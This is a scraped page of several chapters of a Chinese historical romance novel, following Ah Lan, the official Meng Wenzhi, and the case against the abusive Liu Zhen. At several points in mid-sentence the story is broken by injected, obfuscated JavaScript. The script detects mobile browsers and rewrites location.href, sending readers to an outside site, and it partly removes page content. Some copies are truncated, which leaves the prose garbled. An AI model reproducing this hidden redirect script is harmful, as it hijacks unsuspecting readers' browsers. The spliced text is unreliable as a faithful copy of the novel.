倒是清岳在身后一个劲儿地挠头。 大夫见他听进去了，语气缓和了些，又说：“想来您也是极疼爱自家夫人的，不然也不会这般三番五次来找我。等你们回了家，一定要悉心照料着，按时服药，切不可再着凉……” “等等，等等！”清岳终于反应过来，五官扭得乱七八糟，赶忙打断他。 “不要着急，我还没交代完。”大夫说道。 清岳赶紧开口：“交代归交代，话不能乱说。她不是我家夫人。” 大夫顿时慌乱起来：“啊？”他瞅瞅榻上女子，又看看孟文芝，满脸的难以置信，“大人，她……” 孟文芝微微一怔，点了点头：“嗯。” “我与她不过几面之缘，并非夫妻。” “唉哟，是我冒昧了！对不住！”大夫心中怨自己老得糊涂，“那便不打扰您了，等她醒了，我再叮嘱她。” 孟文芝却不改神色，如常说：“没事。看病要紧，有什么要注意的，你跟我说便是。” 趁大夫絮絮叨叨交代时，阿兰的嘴唇似有若水地开合了一下，紧接着，搭在身侧的手开始轻轻颤抖。 待被发现时，她已生了满头的汗水。 “阿兰？”孟文芝俯下身子，轻声唤她。 阿兰艰难地扭了扭头，似乎深陷梦魇无法脱身。 她的手无意识地触碰到离她最近的事物，便死死捉住，用力攥着。 那是孟文芝撑在床边的手掌。 原本纤薄的手，因过度使力而血脉偾张，被自己掐得一片红一片白。 一阵痛意从手部传来，孟文芝不禁皱了眉毛，却并未挣脱，任由她紧紧抓着，想替她分担些疼痛。 “大夫，这是怎么回事？” 大夫仔细打量一番，觉得事情不对：“明显的惊悸之症，想来她风寒是标，惊厥为本。她是如何晕倒的？” 孟文芝回想着，直到想起方才河边场景，才应道：“可能是受了惊吓……” “大人可知她被何物吓到？” “好像，是我。” 清岳瞧少爷如此认真，却觉得有些荒唐，小声补了句：“怎么可能。” 大夫却点头，说：“不无可能。” 孟文芝难得回身看清岳一眼，无奈地笑了笑。 突然，握着他的那只手动了动。孟文芝又急忙转身看向阿兰。 她双眼紧闭，从眼尾滑落一道泪，极小声地呢喃道：“我并非有意害他，我有苦衷……” 两只手湿濛濛的，几乎要融在一起。 孟文芝还未听清她的话，大夫先一步用金针刺进她百会穴，后者瞬间放松下来，像进入了安睡。 终于得以抽出手，他的手被攥得通红，已有些麻木。 他却没在意，只仍忧心忡忡地问：“这可如何是好？” “心疾难医。最简单有效的法子，恐怕只有一个。”大夫道。 “请讲。” “她既因您受惊，若是不见您，或许就能减轻症状。” 孟文芝垂头沉思，转而又抬起头，说：“说得在理。” 他叹了口气，站起身来：“我一会儿要去衙门一趟。清岳，你把她送回家去。” 清岳听他详细说了女子住处，见他对此人如此上心，也认真起来：“大人放心，我替您好生照料着。” 孟文芝却摇头：“无需你，去找个细心的女使过去。” 随后他意识到什么，低头瞧了自己的官服，又觉得那大夫眼神有些异样，只好对大夫说：“我与她并无太深纠葛。今日看诊之事，还请不要声张。” “是，老夫明白。” 清岳当真请来一个伶俐姑娘，二人一起将阿兰送回家去，这才离开。 那姑娘照料得十分用心，又是喂药又是掖被，独自在房中不停打转。 到了黄昏时分，阿兰终于醒转。 “你是谁，怎在我屋中？” 女子正撑着脑袋在桌沿打瞌睡，听她醒来，赶忙叮嘱：“你且好好躺着，不要动。”又起身凑到床边，把她的手送进被子，一边说着，“我叫春禾。你生病了，有人请我来照顾你。” 阿兰哑着喉咙，低声说：“谢谢，你回去吧，我自己就行。” 见春禾没有要走的意思，阿兰这才想起问道：“可要付你银钱？” 春禾有些难为情地开口：“不用不用，已有人付了。是十日的钱，我肯定会在这呆满十日再走。” “何人？” 春禾掏出随身带着的小簿子，低头翻了几页找寻着：“哦，叫清岳。” 想必也是孟文芝的人。 头疼。 纠结过后，阿兰还是静下心来好好躺着，不愿再多想。 虽说春禾年纪不大，照顾人来却是体贴入微。这几日煎药做饭，把她当闺中小姐一样伺候。 阿兰受宠若惊，有些惭愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听她讲了境遇，阿兰免不得想起自己早逝的母亲，心中一阵酸楚。 他们父女俩在永临人生地不熟，想必盘缠也不多，这才出来找些活干。 阿兰知他们不易，十分同情，好心问：“你姐姐原是哪个府上的？” “刘府。” “永临的刘府可不少。” “我再想想。” 春禾皱着脸努力回忆，过了一会儿，黯淡的眸子里陡然生起一星光亮。 “那家主人好像叫——刘祯。” 他的名字，让阿兰蓦地紧张起来，神色骤变。 她张了张唇，却没说出话来。 “阿兰姐姐，你认识他？”春禾瞧她反应奇怪，心中长出些希望来，探头期待地问。 阿兰忙往后直了身子，摇头回避：“我怎会认识，听说过罢了。” 春禾失望地塌下肩膀。 “刘祯他……前一段被收监了。”阿兰在一旁犹豫几番，还是将实情吐出。 10. 两条人命 且说这刘祯囚于牢狱之中已有多日，见证了同伴胡大途的消失，也知他早已身首异处。 如今剩自己一人孤零零地在此受尽折磨，往昔依仗的金钱也彻底失了用处，心里很是难受，傲气识时务地消减了许多。 “喂，你上次说的被你打死的那个，叫什么来着……春花？春桃？还是春杏啊？” 身型瘦高如秸秆的狱卒站在他身旁，手持棍子，用棍头随意地戳了戳他。 刑房内光线昏暗，弥漫着浓重的腥锈味道，又混合了潮湿的气息，令人反胃。 刘祯骨架子都要散了，却仍被牢牢绑在刑架上，成了风中残烛，奄奄一息。 上回遭鞭打留下的伤痕已经发痒结痂。 狱卒一棍子狠狠砸过来，痂皮瞬间崩裂，炸开里面粉白的新肉，像一串初盛开的小梅花。 “说话。”他猛地伸手，掐住刘祯两颊，兜着他的下巴逼他把头抬起来。 刘祯自幼养尊处优，何曾受过这般苦楚？ 到了如今地步，不得不放下身段，好声好气求着：“咱俩往日无仇无怨，您这好端端地，收拾我做什么？” 狱卒扯起嘴角，笑意冰冷，没劲儿地在刑房里慢悠悠转了两圈，又折返到他面前，眼神阴鸷地盯着他：“无冤无仇？” “我呸。” 一口唾沫飞溅到刘祯脸上。 “你这大老爷做久了，气性高，忘性大是吧？”狱卒假意帮他整理破烂的囚犯，手上力道却重得刘祯直倒吸气，“行，今天爷爷我就赏个脸，帮你长长记性！” 说罢，他双手握紧了棍子，每一棍都使出浑身解数，一直打到手臂酸胀，才愿意停下。 支起棍子一看，上面沾满了刘祯身上渗出来的淡红色液体，看着似水一样，却又带着几分粘腻。 纵是顿顿珍馐堆出来的身体，也扛不住这顿毒打。刘祯软绵绵挂在刑架上，连气都喘不动。 狱卒上下打量他一番，终于满意地在他面前坐下：“我总不能平白无故让你遭这顿打，是不？”他像对着石头说话，明知刘祯无力回应，却还是自顾自喝了口水，舔牙笑笑。 “别装死，给老子听着。”狱卒本正恶狠狠地说着，不知怎的一个音软下去，眼睛红了，语气也颤抖起来：“上元那日，你为何要把全县的大夫都请到家去……” 刘祯听闻此言，身子动了动，费劲想了许久，终于找到答案：“我孩子那日吃坏了东西，肚子疼。” 他气息不足，说出的话也淡淡的。 狱卒却瞬间握紧了拳头，双眼充血，嘴巴绷成了一条线，几步走到刘祯面前，鼻子几乎要与他的贴到一起。 看着他理所应当模样，他恨急了。 一时间，刑房内安静得可怕，只有两人沉重的呼吸声。 而打碎这片安静的，是夺眶而出的两串眼泪。 眼泪从狱卒脸上掉下，融进了脚下刘祯那几滴斑驳的血花里。 “刘祯！你把我母亲害死了！” 狱卒隐忍许久，终于撕心裂肺吼了出来。 上元那晚，他母亲旧疾突发，全县所有的医馆竟都无一医者。 待他深夜从外说尽好话，请来大夫时，床上的母亲已没了气息。 “你落到我手上，也算苍天有眼，哈哈哈。”狱卒一边哭一边大笑着，从水桶里提出冰手的鞭子，用力抖了抖上面的水。 “你身上两条人命我都替你好好记着呢，一个是你家下人春眉，一个是我母亲，你逃不过这劫的。我先把你整个半死，再一并上报。” 眼看着鞭子就要扬起，身后突然来了人。 “你在做什么！”老县丞脚步匆匆地跑过来，身后还领着巡按。 狱卒心知自己行为不妥，只好先将鞭子甩到地上，走上前跪到二人面前，恭敬道：“孟大人，李大人。” “你，你好大的胆子，不过小小狱卒，还真在监狱里做上了阎罗王。这些该你审的么！”老县丞看着眼前一片狼藉，气得话都说不利索。训斥完人，又回头去瞧孟文芝的脸色。 他虽并无表情，眼睛里面却冷峻得紧，黑得几乎要看不见瞳仁儿。 狱卒跪在地上，大声说：“小的自知擅自审他是越权之举，但确审出了问题，还望二位大人容禀。”说完，他伏下身子。 “把人打成这般模样，假的也要认成真的了！哪有你说话的份儿，还不快走。”老县丞不愿看他，挥手驱赶道。 孟文芝却开口，平静地垂眼望着狱卒，对他说：“你且说说看。” 狱卒抬起头，颤着手指向身后，激动道：“此人，两年前逞凶打死了家婢春眉，今又间接将我重病的母亲害死，我曾连递七道状纸，县尊老爷却屡屡驳回，斥为诬告......小的所说句句属实，还请大人明断冤情。” 孟文芝耐心听完，转身看向县丞，问：“这些事你可知晓？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081187|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 县丞站在那，因他的问题愣住。 “胡大途是个不省心的，你却是个不操心的。”孟文芝看出来他的意思，微微皱眉，低声斥他。 县丞听了，“扑通”一声挨着狱卒跪下去，也委屈道：“大人呐，之前那胡大途在县中只手遮天，凡事都由他一人说了算。我虽忝居县丞之位，却不过是个有名无实的空架子。这等事情，根本轮不到我做主处置。” “起来。”孟文芝叹气道，“我并非有意苛责于你。” 这胡大途生前贪赃枉法作恶多端，如今虽说人已不在，可留下的这堆烂摊子，却着实棘手，搅得人心烦意乱，不得安宁。 老县丞踉跄起身后，孟文芝又问：“李大人，依你之见，眼下这些该如何处理？” 老县丞在县衙里摆设当久了，此刻，能被巡按大人重视，又询问看法，反倒紧张起来。 他思索良久，忐忑回答：“依卑职愚见，先将刘祯仔细审讯，查明证据，弄清真相，再依照律法予以惩处。” 孟文芝点头：“那刘祯就交由你审。” “是。”老县丞躬身领命，又贴心说道：“这狱中阴冷潮湿，大人不宜久留。” 孟文芝却并未打算就此离开，目光落在半死不活的刘祯身上。 想起那日让清岳捉拿他时，竟被反咬一口，将动私刑的脏水破给自己，如今看来，这滥用私刑倒成真的了。 又转眸看向跪在地上的狱卒，开口：“去领杖三十。” 狱卒身子一震，仰头诧然看他，显然忘了这层。 不过是对视一眼，他瞬间明白自己所为有违律法，理应受罚，并非是巡按大人为难，又涩然俯下身，认了。 出了狱门，二人在一片杂草前站定。 眼前豁然开朗，还有些不适应。 孟文芝下意识眯起眼，迎着倾泻而下的阳光，微微侧身，对老县丞说：“李大人，你在永临做官已有几年了？” “今年是第二十年。” “如今的永临，你可满意？” 老县丞没了声，孟文芝转过头，看他表情失落，知他也是有心为大家好的，便随口安慰道：“既看出了问题，永临自会日日向好。” 话锋一转，他再度回到正题，严肃提醒老县丞：“人命并非儿戏，刘祯遭受严刑，恐有胡乱招供之嫌，狱卒言辞亦难辨真假。此案细节必须重新彻查，逐一核实，切不可有半点疏漏。” 11. 清白名声 春禾年纪轻，腿脚伶俐，消息也灵通。 知道姐姐死讯后，便认定是刘祯所害，每日都要去隆隆敲上几遍衙前堂鼓，闹个半晌才罢休。 一天。阿兰正坐在雕花窗棂透进的晨光里，解着襟前盘扣，忽听得门轴轻响，刚转头，便见春禾端着药碗僵在入口处。 阿兰不知她提前从县衙返回，没防备地让人看了小半的身体，登时脸上有几分尴尬。 “我……”春禾正想解释，话到嘴边，却哽住了喉咙，吞吞吐吐说不囫囵。 似乎魂也被什么东西牵了去。 眼前，阿兰裸露在外的珠色肩头往下三指，是几乎铺满背脊的瘀伤，青紫交错，触目惊心。 伤痕的主人立即知晓了她因何震惊，急急将中衣领子扯到颈处，遮掩着廷杖留下的印记，主动道：“没事。” 其中意思，既有她无需担心自己的伤，又有她无需因贸然闯入而惶恐。 春禾显然还未回神，推上门脚步虚浮地走到桌边，手被药碗烫了一下，这才恍然醒过来。 却是先背身过去，将眼睛滴溜溜转了半圈，回头小心地问：“姐姐，你背上怎还有一大片的伤？” 阿兰并不想谈及此事，轻眨动了双眼，侧身将衣带层层系紧，坐到桌边，将话题岔开：“今天怎么回来这么早？” 春禾见她有意回避，心中也明白了几分，只好先回答她：“今日县老爷不见我。” 阿兰的指尖在药碗边沿收拢，又松开。 “衙门要判刘祯无罪。”说罢，春禾深深吸了口气，眼眶开始发红。 听者凝眉，很是不解，脱口而出一句：“无罪？他不是将人打死了么……”又顿然觉得此话十分不妥，声音越说越小。 最后剩一个轻飘飘的话尾巴，竟被春禾捉住：“你也觉得离谱，对吧？”她把眼泪硬生生憋回去，一拍手，又摊开，愤愤道：“在衙门的人眼里，那贼人刘祯的命似金子，我姐姐的命就如草。死了就死了，还要被扔得远远的，生怕脏了眼！” 见她一下子上了气头，阿兰便起身缓步绕到身后，轻轻揽过她的肩，送她去坐下，耐心安抚着。 怨气消化得差不多，春禾红热的脸渐渐平静下来，理智也跟着回来。 这会儿，她绷着嘴，乖巧地将药碗推过去：“姐姐，你先喝药。” 待亲眼看着她将药一气喝完，又从袖中摸出一个桑皮纸包的小方块来，递给阿兰。 阿兰打开纸封，见里面是块饴糖，忍不住半弯了眼睛，抬眸对春禾说：“你要将我哄作小孩了。” 春禾也跟着扬起下巴笑笑，不妨碍脑中灵机一动，趁此机会伸手扯住阿兰衣袖一角，好声问道：“阿兰姐姐，明日你可以陪我去衙门吗。” 刚听闻，阿兰动作倏忽一滞。口中的饴糖也尝不出甜味了。 衙门，是她最不愿去的地方。 她与常人不同，身份有假，过去有污。如今这偷来的安稳，就如同瓦上之霜，稍触即融。随意去衙门露面，与鱼儿主动游进网中有何区别。 也许不过几番调查，那些人就能将她作伪装的壳子剥去，留一个要砍头的杀夫罪名。 到那时，她该如何去天上面对她不敢见也无颜见的家人。 阿兰轻轻拉住她的手，将自己的袖子解脱出来。 几日相处还算投机，春禾是真心地喜欢阿兰，也觉得阿兰心中柔软，万万没料想她会拒绝。 春禾的手仍定在空中，无意识地蜷起手指：“为何拒绝我？” “并无缘由。” “姐姐，只用你在旁说他几句坏话……” “不可。”阿兰语气决绝。 春禾自知无望劝动她，心中一急，咬咬牙，道：“刘祯先前要强娶你，你就这么放过他吗？” 阿兰一听，颈后猛地发冷，身上的伤又开始隐隐作痛。 春禾显然知道自己的话刺痛了她，神色有些愧疚，却还是坚持下来，硬声说：“我打听了，刘祯纠缠你不是一次两次，先前还闹上了公堂，让你无辜受了廷杖。” 阿兰把头扭过去，任她说着。 无奈之下，春禾起身走到她面前蹲下，仰起头来，焦急地拉住她双手抖动着，想要将人唤醒：“姐姐，你怎能容他这般作孽？与我一起去告他吧！” …… 今时，已不同往日。 老县丞终于能挺直腰板做事，自然是万分用心地履行职责，对刘祯耐着性子三推六问，每一处都要查到细节。 孟文芝看在眼里。考虑到知县是地方之中枢关键，须臾不可或缺，便向上举荐，提拔老县丞继了胡大途的位子，任职永临知县。 只是，新官袍比想象中要沉得多。 刘祯一案虽关乎两条人命，他反复推敲其案卷供词，却不觉他有严重过错。 倒是那个叫春禾的姑娘，日日都来闹事，吵得他苦不堪言。既咬定自己家姐姐被刘祯活活打死，又拿不出一丁点的证据，叫他无助得紧。 “你这丫头，不要再来了，衙门重地岂能容你胡闹。刘祯一案本官心中自有裁断。” 又一次准时准点地在衙前见了春禾，李知县压下眉头，神色颇为不耐。 “大人，您说要裁断，却迟迟不判罚，难道是想……”春禾满脸不服，音量不自觉拔高，眼中满是质疑。 李知县见状，心中一惊，慌忙伸手制止。在她说出什么不该说的话前，厉声喝道：“休得妄言！” 小姑娘说话不知轻重，险些犯下大错。他虽被她冒犯，念及她年少无知，还是暗暗帮她把住分寸，免得要受这失言的灾祸。 春禾果真被镇住，鬓边两缕头发悠悠地在风中晃着。 待她缓过神来，急切切将头发顺到耳后，往前跪了几步，对李知县说：“刘祯作恶多端，总有一罪是能让他不好过的！” 李知县听了，将眼睛眯下，笑着说：“哦？那你便说说，哪一罪要叫他难过？” 春禾沉默一阵，想起阿兰背上可怖的伤痕，马上跪正了，不疾不徐道：“他强抢民女。” “这我知道。”李知县摇头，想她也说不出什么稀奇的来，“那事有巡按大人对他惩处，已然揭过，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一边用袖子擦着泪，一边道：“阿兰姐姐尚未出嫁，清白名声如此重要，这些腌臜事若是宣扬出去，她以后要如何做人？如今遭遇不幸，也只能将苦水往肚里咽。我实在看不过，这才过来……” “啊呀，”李知县耸肩大叹一声，扶额愧道，“我还当真糊涂了。” 春禾这几句胡言乱语，讲得是天花乱坠，有鼻子有眼。 但竟真的碰了巧，十句有八句都说中了要害。 李知县认真起来，心想此事确须仔细考量一番。 可问题来了，阿兰本人不愿出面，仅凭这丫头的一面之词，是万万断不得案的。 他去重审了刘祯，后者居然真的承认自己曾深夜潜伏其家，但又很是诚恳地坦白说那阿兰机敏非常，并未让他得逞。一口咬定自己没有做出实际过分的事。 两相矛盾。不得已，李知县只好去找孟文芝寻求建议。 12. 诱饵入水 收到知县求见的口信后，孟文芝知道他那处问题棘手，让他先到衙门议事厅稍待，自己处理完手头紧要事物后，马不停蹄地赶了过去。 李知县早已伫立门前，翘首以盼。见孟文芝现身，便快步迎上，神色间三分欣喜七分忧虑。 孟文芝对他颌首，身下脚步不停，径直走进厅内，寻了一处坐下。 厅内并无旁人，气氛静谧。 他接过知县递来的茶水，却不急着喝下，顺手搁在右边的红木桌上，对他说：“虚礼且免，论事要紧。坐下说。” 接着抬手示意对角的一把椅子，邀请他落座。 李知县应一声，理了两边的袖子，转身坐过去，笑容却在挨到椅子的顷刻间消失无踪，换来满面愁态，哀声开口将这几日困扰一并诉说。 孟文芝原在旁耐心倾听，却发现此人似乎是来找他诉苦的。 苦水滔滔不绝往外流泄着，其中最多的，也不过是遭人在衙门滋事，而他无计可施。 茶水卷起袅袅热气，缠着飘走的思绪一同缓缓向上升腾飞散。 孟文芝忍不住几次端杯轻抿，终于截到他换气的口子，立即抓住机会，见缝插针提醒道：“李大人，你新膺知县一职，若真震慑不住，要知道堂上的笞杖夹棍并非摆设。” 这一句话如醍醐灌顶，李知县顿时恍然大悟，心中要决堤的烦恼终于得到疏通。 倒是都涌进了孟文芝心里，胸口堵闷得紧：“下次若只为这些事，不必专程见面告知与我。” 他杯中茶水已尽，想知县已把种种烦恼讲完，起身欲走。 后者表情一变，这才意识到自己刚才在啰嗦些什么，忙在心中叫蠢。当真是老糊涂了，怎净说些闲杂事！ 最紧要的还未向他禀明。他匆忙过去将茶水再度满上，惭愧道：“孟大人，下官……下官还有一事。” 孟文芝听闻，以为又是些琐碎小事，只站在原地回头等他开口，一会也好能迅速离开。 李知县却躬身相请，非要将他带回座椅。孟文芝无奈，只得轻叹一声，依了他的意思。 李知县收起笑脸，神色复归严肃，沉声道：“大人，有人又给刘祯添了一条罪名。” “说他曾深夜潜到良家女子阿兰闺中，将其轻薄……” 听此言，他蜷握在桌案的手猛然一松，手指不小心弹动了小巧的紫砂茶杯。茶杯打着转，挪移半寸，泼洒出水来。 孟文芝目光微移。 想起那夜，刘祯与人追赶阿兰，机缘巧合之下，将其逼逃至自己府中，也因此被捉进县狱。 他虽还未将人处理，却觉得此事并不体面，早把消息压住，到今日，怎就被别人知晓了？ 况且，此话前半句为他亲眼见证，后半句将人“轻薄”又是从何而来？ 怕不是居心叵测，信口胡诌。 知县连忙将杯子稳住，立在一边，又换来干净的替上，再斟了茶水。继续说：“可是，无论我怎么审怎么问，刘祯都拒不承认自己做了那等事。” 孟文芝抬头，问：“你觉得他在说谎？” 李知县愣过片刻，并未出声，只顺着他的问题唯唯点了个头。 见他这般行为，孟文芝正色往下问：“一无证人，二无证据，就先在心里给人按上罪名？” 一时间，李知县如遭霹雳，慌忙弯腰拱手：“大人教训的是。” 半晌才抬起头：“不过，无论刘祯是否做到最后一处，深夜擅闯民宅，已是不对。如今只是罪责轻重的问题，定罪就成了关键，可……可那受害女子阿兰并不愿出面呈言。” 孟文芝短暂思索，缓缓开口：“我知道了。” 随即又叮嘱他：“此事急不得。未经核实的消息先压好，谣言伤人，切勿乱传。” 有意思的是，刘祯因怕被反咬，对知县闭口不提他那被一并抓获的两个手下。 李知县不知道，但人是孟文芝抓的，他知道。 这两人便成了解决问题的另一处切口。 出了议事厅，孟文芝径步走去县狱，命人把刘祯的两个手下拿来，他要亲自去审。 “孟大人，刘祯进去时，阿兰姑娘已经跑了……我们，我们两人只是在外面放风的，什么都没干，什么都没干啊！” 仅半个时辰，人就招了。 孟文芝稳稳推开审讯室的门，阔步走出，到了阳光所及之处，下意识仰首。 眯起的一双眼睛里，此时也沾染了几丝倦意。 面上却依然神色平静，他负手而立，朝身边人吩咐道：“把招供的内容整理成文，物证也仔细核查一遍。” 这里的事已安排妥当。 下一步，他打算，再亲自去找受害者一趟。 孟文芝来到酒铺，刚跨过门槛，心中竟突然生起了忐忑。 也不知自己这样出现，会不会再将她吓到。 扫视过后，发现此处空无一人，便缓步试探着继续向里走去。 哐当！ 连接内院的那处门帘后传来一声响，源头似乎离他近在咫尺。 莫不是她又遇到什么危险…… 正想伸手掀帘进院，却猛然止住脚步。 帘下的裙袂和衣摆却比人的反应慢了半分，如潮水遇礁石般迎面撞在一起，又害羞似地分别涌向两人身后，悄悄藏匿起来。 那受害女子站在门帘后，同样正准备掀帘而出。 两人的手顿在了同一处。 隔着轻薄的帘布，彼此感知着对方的温度，以及指尖血管无规律的跳动。 都驻足在原地，停滞了动作。 这样也好。孟文芝心想，先一步缓缓将手离开，无声地告诉她自己不会贸然过去。 不过多时，院中光亮投在帘上的影子也放下防备，收回了手。 两只手接连离去，帘子失去牵制，穿堂风拂过，便重新开始轻轻飘动。 孟文芝隐约发觉她低下了头，顿时有些后悔自己没换常服前来。 一双官靴足矣将他的身份暴露无遗。 “只是打碎了个空酒坛。” 阿兰率先说话，打破了这微妙的僵局，将紊乱的思绪强行拉回正轨。 孟文芝也不再遮掩行迹，却一时半会儿想不出该说些什么好。 前方的院子里，原来真有棵杏树开得正盛，雪白的花瓣铺了几片在她绣着莲纹的鞋边。 “大人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081189|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝酒吗？” 阿兰轻声说着，藕合色的裙后又飘下几瓣。 对方却迟迟不应声。 她有些不知所措，又念及礼数，觉得自己不该一直藏身帘后，犹豫再三，终于鼓了勇气，又一次伸手触向帘子。 一边道：“那么，喝些茶吧？” “不用。” 这回，孟文芝拒绝得快且干脆，让阿兰怔在了原处。 “若是觉得自在，便就呆在那里，无需紧张。”孟文芝见状，语气缓和了几分。 官靴微微侧转，刻意避开她的局促。 阿兰心中顿时轻松许多。 “大人有事问我？”阿兰缓移莲步，试问。 孟文芝听她声音依然含怯，便不再拖延消耗她，直截了当：“那日刘祯夜半扰你，我押他去县衙，回来时却不见你身影，后续也不便对他问罪。如今新知县上任，你为何不去衙门为自己讨个公道？” 阿兰听了，沉默良久方才开口：“我不想多生是非。” “如何能称为是非？”孟文芝好意沉声劝她，“你知道刘祯胆大，此番不让他吃上苦头，他可长不了记性。” 却被阿兰反过来提醒一声唤道：“孟大人。” 阿兰或许怯懦，但绝不愚笨。 仅三个字，便让孟文芝瞬间意识到，以他的身份，说出刚才那番话并不合适，只好作罢，将言辞收敛。 可是心中如何都不能明白，她究竟在畏惧什么。 片刻之后，他想通了。 既然她不愿意，自己亦不可强求。 难道若人不讨公道，公道就不能来么？刘祯该罚，他会去执法严惩。 只是，还有一处还需要核实。 “你可知，有人借此传言，说刘祯将你……”说到关键处，孟文芝停住了口。 话虽说得隐晦，听的人却万分明白。 刘祯做过什么，没做过什么，孟文芝一清二楚，此时只是想向阿兰求得印证。 恰在此时，风忽大了一阵，薄帘经撩动高高扬起，其后的人也跟着受到惊扰，不暇思索地想要隐身在墙后。 这一幕，让孟文芝心间震了震。 直至此刻他才恍觉，阿兰于他是如此的陌生神秘。 他对她几乎一无所知，却总能被勾起神思，不自主地想要失了偏颇，去站在她那旁。之前是，方才也是。 难不成她是天上的仙子下凡？ 孟文芝很快便因自己这荒诞奇想弄得窘迫，一边自嘲，一边苦笑。 过了刹那，竟甘愿如此执迷不悟地撞下去——他要看看，她究竟是凡姝，还是那灵娥。 只道：“刘祯若真做了那种事，落在我手中，下场会和胡大途一样。” 他顿了顿，又继续字字清晰地补充：“我并不知道那夜你来之前发生过何事，还请你诉说实情。” 就这样，他抛下一个诱饵。 饵料随着流动的空气散开，飘进了阿兰心里，听得她心头发紧，不由得皱下眉头。 那人在水上，观局者清，她则在水下，当局者迷。阿兰并未察觉到他话中暗藏的试探。 只意识到，此时，刘祯的命架在了她身上。 13. 恶念生起 这是一个机会。 一个可以将她过往委屈一并还报的机会。 只需轻巧地撒一个慌，就能让厌恶的人彻底消失在眼前，而刘祯就算有千张万张的嘴，也难能辩白清楚。 阿兰倚身墙后，日光直射下来，在眼瞳上投映出睫毛的阴影。 杏花瓣一片接一片从枝头簌簌而下，似雪团又似软絮，在空中翻腾挣扎着，却终难抵命运跌落在地，遭尘垢沾染。 她心中顿时生出千言万语，却都无从说起。只将视线紧锁在地上残花，久久不能移目。 时欲静止，阿兰倏忽眨眼。 不，不行…… 她怎能动这种念头！ 做人应以仁恕存心，以公道处世。若是真的只为泄私愤而罔顾良知，撒谎害人，那她又与品行不端的刘祯有何区别？ 阿兰徐徐抬眸，阳光直入眼底，不由得抬手去遮掩。光影交错间，琥珀色的眼睛愈发澄澈。 心下念头转变，她不再迟疑，迈步走到门口，制住正翻飞的帘子，四指顺势将其抵在框上，一气呵成。 孟文芝仍静立原处，猝不及防见她真容显露，面上闪过一惊一喜，又很快恢复镇定，不动声色地往后退了几步，与她保持距离。 阿兰认认真真地望着眼前人，目光如炬，开口与他道：“刘祯虽闯我家门，却什么都没做。” 一句话说得简洁明了，利落干脆，叫人寻不出半分她挣扎踌躇的痕迹。 孟文芝好像从未见过她这副模样。 他原以为自己往来周旋于朝堂市井之间，对人性的幽微曲折不说了若指掌，也要比旁人多上一知半解，却始终将阿兰捉摸不透。 他把难得的契机置于她面前，当她冰雪聪明，定会欣然接受。此番试探，虽不想见她把聪明用在此处，但也不曾料到，她会毫不犹豫地将铲除刘祯的机会推回来。 阿兰恰站在门框正中，素袂携卷着流风蹁跹而起。身后四四方方的天地里，琼英纷纷扬扬。 似乎真真是画卷里走出的姑射仙子。 孟文芝有些出神。 阿兰不知他因何犹豫不言，恐他心中有另有想法，只好再次提醒道： “谣言不可听信，还请大人以实情做决断。” ………… 自李知县向孟文芝求得了建议，再碰上春禾来县衙吵闹，他也有了底气，腰杆挺得笔直。 这天，春禾又气势汹汹地闯了进来，李知县见状，狠下心，声色俱厉地呵斥：“下次你若再来胡闹，本官可不客气了。”想她总不能真的天不怕地不怕，便伸手指向身旁衙役的水火棍，给予警告。 春禾气焰顿时矮了半截，一阵慌乱过后，老老实实将行为收敛，一句话都不再说，狠狠甩了胳膊，把知县撂在远处，自己大步离去。 她爹春宏达正在门口巴巴候着，见她出来，忙走过去。 春禾满脸愤懑，对他道：“今儿也没成，又白跑一趟。” 春宏达拄着棍子，弓着背，小声嘀咕：“要给你姐姐报仇，也不是非得要他死……” “我就要他死！”春禾根本听不进去，对父亲的态度很是失望，又补上一句，“她可也是你女儿。” 春宏达深知她的脾气，简直倔得像头小牛，也不好再多劝，拍着她的背，无声叹了口气。 两人路上走着，有个浑身脏兮兮的小孩凑过来，哀求着：“好心姐姐，给我点钱买个馍馍吧！” 那孩子瘦得衣服都挂不住，春禾瞧着他模样凄惨，心里一阵揪疼，眼看着小孩把手中破碗伸到面前，下意识就想从身上摸些钱出来。 突然听孩子“嗷”地惨叫一声，猫儿受惊一样跳远了，这才发现是春宏达用拐棍抽了他的腿。 “去去去，找别人要去！”春宏达不耐烦地挥挥手。 “爹，你干什么呢？”春禾又气又急，一把夺过拐棍，换上笑容招呼小孩，“别怕，过来，姐姐请你吃馒头。” 小孩眼里恐惧未消，姿势别扭地慢慢挪过来，碗里刚多了几枚碎银子，就发现那好心姐姐身旁的老头还在瞪他，吓得撒腿就跑。 